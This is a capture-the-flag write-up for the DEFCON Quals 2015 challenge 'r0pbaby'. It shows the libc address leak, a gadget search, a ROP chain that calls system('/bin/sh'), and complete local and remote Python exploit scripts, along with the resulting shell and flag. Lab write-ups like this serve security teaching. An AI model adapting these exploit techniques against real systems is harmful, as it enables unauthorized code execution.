choppers

DEFCON Quals 2015: r0pbaby

2015-05-17 00:00:03

Description

Baby's First: 1 point
r0pbaby

r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me:10436
Download(http://downloads.notmalware.ru/r0pbaby_542ee6516410709a1421141501f03760)

Analysis

$ md5sum r0pbaby
542ee6516410709a1421141501f03760  r0pbaby
$ file r0pbaby
r0pbaby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, stripped
$ /usr/sbin/execstack r0pbaby
- r0pbaby
$ ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 4
Exiting.
$

r0pbaby has 3 options: Option 1: "Get libc address". Prints the pointer to the link_map structure, not the base address of libc.

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF79B0

Option 2: "Get address of a libc function". It takes a symbol name as input, and returns the current address in memory.

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: printf
Symbol printf: 0x00007FFFF787FD50

Option 3: "Nom nom r0p buffer to stack". It takes an integer as length then reads in that many bytes.

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 5
AAAA

Exploit Mitigations

Vulnerability

All we need to do is supply a ROP chain to take access.

Exploit

I decided to make a ROP chain that will run system("/bin/sh"). Because r0pbaby is PIE, I will only get ROP gadgets from libc.

Disable ASLR for local testing

Disabling ASLR will make testing much simpler. This needs to be run as root.

# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
#

Determining libc Base Address

We will need to find the base address of libc in order to calculate the position of gadgets and strings we will need. By finding the offset from a symbol to the base address, we can calculate the base address from a symbol address.

$ nm -D /lib/x86_64-linux-gnu/libc-2.19.so | grep __libc_system
00000000000414f0 T __libc_system
$ ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: __libc_system
Symbol __libc_system: 0x00007FFFF78704F0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 4
Exiting.
$ python -c "print 'Base Address: ', hex(0x00007FFFF78704F0 - 0x00000000000414f0)"
Base Address:  0x7ffff782f000
$

Finding the Offset to /bin/sh in libc

Using rp++, we can find the offset to '/bin/sh\x00'. For my version of libc, it's at offset 0x00161160.

$./rp++ -f /lib/x86_64-linux-gnu/libc-2.19.so --search-hexa="/bin/sh\x00"
Trying to open 'libc-2.19.so'..
Loading ELF information..
FileFormat: Elf, Arch: Ia64
0x00161160: /bin/sh\x00
$

Finding a Suitable Gadget

The GCC calling convention for x86-64 puts the first parameter in the register rdi. We need a gadget that will load the address of the string /bin/sh into rdi. A pop rdi ; ret ; gadget will be perfect for this. For my version of libc, one can be found at offset 0x00022442.

$ ./rp-osx-x64 --unique -f libc-2.19.so -r 1 | grep "pop rdi"
0x000e604a: pop rdi ; call rax ;  (1 found)
0x0015c941: pop rdi ; jmp qword [rax+0x20FFF260] ;  (1 found)
0x0007c943: pop rdi ; jmp rax ;  (2 found)
0x00104841: pop rdi ; rep ret  ;  (1 found)
0x00022442: pop rdi ; ret  ;  (477 found)
$

Writing a Local Exploit

#!/usr/bin/python

import struct

LIBC_BASE_ADDR = 0x7ffff782f000
SYSTEM_OFFSET = 0x00000000000414f0
BINSH_OFFSET = 0x00161160
POP_RDI_RET_OFFSET = 0x00022442

system_addr = LIBC_BASE_ADDR + SYSTEM_OFFSET
binsh_addr = LIBC_BASE_ADDR + BINSH_OFFSET
pop_rdi_ret_addr = LIBC_BASE_ADDR + POP_RDI_RET_OFFSET

print "3"   # Option 3: Load ROP CHAIN
print 8*4   # Size: 4 8-byte words
print struct.pack("QQQQ", 0xAAAABBBBCCCCDDDD, pop_rdi_ret_addr, binsh_addr, system_addr) + "4"
$ { ./sploit_local.py; cat -;} | ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Enter bytes to send (max 1024): 1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Exiting.
uname -a
Linux deb64 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux
^C
Segmentation fault

Writing a Remote Exploit

For a remote exploit, you don't have the convenience of knowing the exact version of libc. That's why it's important to maintain a database of libc's from different distros.

#!/usr/bin/python

import struct
import socket
import telnetlib

class RopBaby:
    def __init__(self, host, port, logging=False):
        self.logging = logging

        family = socket.AF_INET
        type_ = socket.SOCK_STREAM
        proto = socket.IPPROTO_TCP
        self.s = socket.socket(family, type_, proto)
        self.s.connect((host, port))

        self.recv_until(("\n: ",))

    def send(self, tx):
        self.s.sendall(tx)
        if self.logging:
            print "TX:", repr(tx)

    def recv(self, at_most=1024):
        seg = self.s.recv(at_most)
        if len(seg) == 0:
            self.s.close()
            raise Exception("Remote peer closed connection")
        if self.logging:
            print "RX:", repr(seg)
        return seg

    def recv_nbytes(self, nbytes):
        rx = ""
        for i in xrange(0, nbytes):
            rx += self.recv(1)
        return rx

    def find_needles(self, buff, needles):
        for n in needles:
            if buff.find(n) != -1:
                return True
        return False

    def recv_until(self, needles):
        rx = ""
        while self.find_needles(rx, needles) is False:
            rx += self.recv(1)
        return rx

    def do_get_libc_addr(self):
        self.send("1\n")
        self.recv_until(("libc.so.6: ",))
        addr_str = self.recv_until(("\n", ))
        addr = int(addr_str, 16)
        self.recv_until(("\n: ",))
        return addr

    def do_get_symbol_addr(self, symbol):
        self.send("2\n")
        self.recv_until(("symbol: ", ))
        self.send(symbol + "\n")
        self.recv_until((": ",))
        addr_str = self.recv_until(("\n",))
        addr = int(addr_str, 16)
        self.recv_until(("\n: ",))
        return addr

    def do_load_buffer(self, payload):
        self.send("3\n")
        self.recv_until(("1024): ", ))
        self.send(str(len(payload)) + "\n")
        self.send(payload)
        self.recv_until(("\n: ", ))

    def do_exit(self):
        self.send("4\n")
        self.recv_until(("Exiting.\n",))


def exploit(ropbaby, system_offset, binsh_offset, pop_rdi_ret_gadget_offset):
    system_addr = ropbaby.do_get_symbol_addr("system")
    libc_base = system_addr - system_offset

    pop_rdi_ret_gadget_addr = libc_base + pop_rdi_ret_gadget_offset
    binsh_addr = libc_base + binsh_offset

    buff = struct.pack("QQQQ", 0xAAAAAAAAAAAAAAAA, pop_rdi_ret_gadget_addr, binsh_addr, system_addr)
    ropbaby.do_load_buffer(buff)
    ropbaby.do_exit()
    print "Shell should be running..."
    t = telnetlib.Telnet()
    t.sock = ropbaby.s
    t.interact()

def main():
    target = "127.0.0.1"
    target = "r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me"
    system_offset=0x0
    binsh_offset=0x0
    pop_rdi_ret_gadget_offset=0x0

    if target == "127.0.0.1":
        system_offset=0x00000000000414f0
        binsh_offset=0x0161160
        pop_rdi_ret_gadget_offset=0x0002a1c2
    else:
        system_offset=0x00046640
        binsh_offset=0x0017ccdb
        pop_rdi_ret_gadget_offset=0x0006fc7b

    ropbaby = RopBaby(target, 10436, False)
    exploit(ropbaby, system_offset, binsh_offset, pop_rdi_ret_gadget_offset)


if __name__ == "__main__":
    main()
$ ./sploit_remote.py
Shell should be running...
id
uid=1001(r0pbaby) gid=1001(r0pbaby) groups=1001(r0pbaby)
cat /home/r0pbaby/flag
The flag is: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?
exit
*** Connection closed by remote host ***
$